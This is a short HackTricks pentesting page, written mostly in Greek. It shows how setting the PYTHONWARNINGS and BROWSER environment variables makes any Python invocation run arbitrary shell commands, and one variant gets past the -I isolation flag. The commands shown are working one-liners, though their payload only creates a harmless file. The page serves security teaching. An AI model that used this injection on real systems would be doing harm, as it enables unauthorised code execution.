19 lines
979 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# macOS Python Applications Injection
{{#include ../../../banners/hacktricks-training.md}}
## Μέσω των μεταβλητών περιβάλλοντος `PYTHONWARNINGS` και `BROWSER`
Είναι δυνατόν να τροποποιηθούν και οι δύο μεταβλητές περιβάλλοντος για να εκτελούνται αυθαίρετος κώδικας κάθε φορά που καλείται το python, για παράδειγμα:
```bash
# Generate example python script
echo "print('hi')" > /tmp/script.py
# RCE which will generate file /tmp/hacktricks
PYTHONWARNINGS="all:0:antigravity.x:0:0" BROWSER="/bin/sh -c 'touch /tmp/hacktricks' #%s" python3 /tmp/script.py
# RCE which will generate file /tmp/hacktricks bypassing "-I" injecting "-W" before the script to execute
BROWSER="/bin/sh -c 'touch /tmp/hacktricks' #%s" python3 -I -W all:0:antigravity.x:0:0 /tmp/script.py
```
{{#include ../../../banners/hacktricks-training.md}}